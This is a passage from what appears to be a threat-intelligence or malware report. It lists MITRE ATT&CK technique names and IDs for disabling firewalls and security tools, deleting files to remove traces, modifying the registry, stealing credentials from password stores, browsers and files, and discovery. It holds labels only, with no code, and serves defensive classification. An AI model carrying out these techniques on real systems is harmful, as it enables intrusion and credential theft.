Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery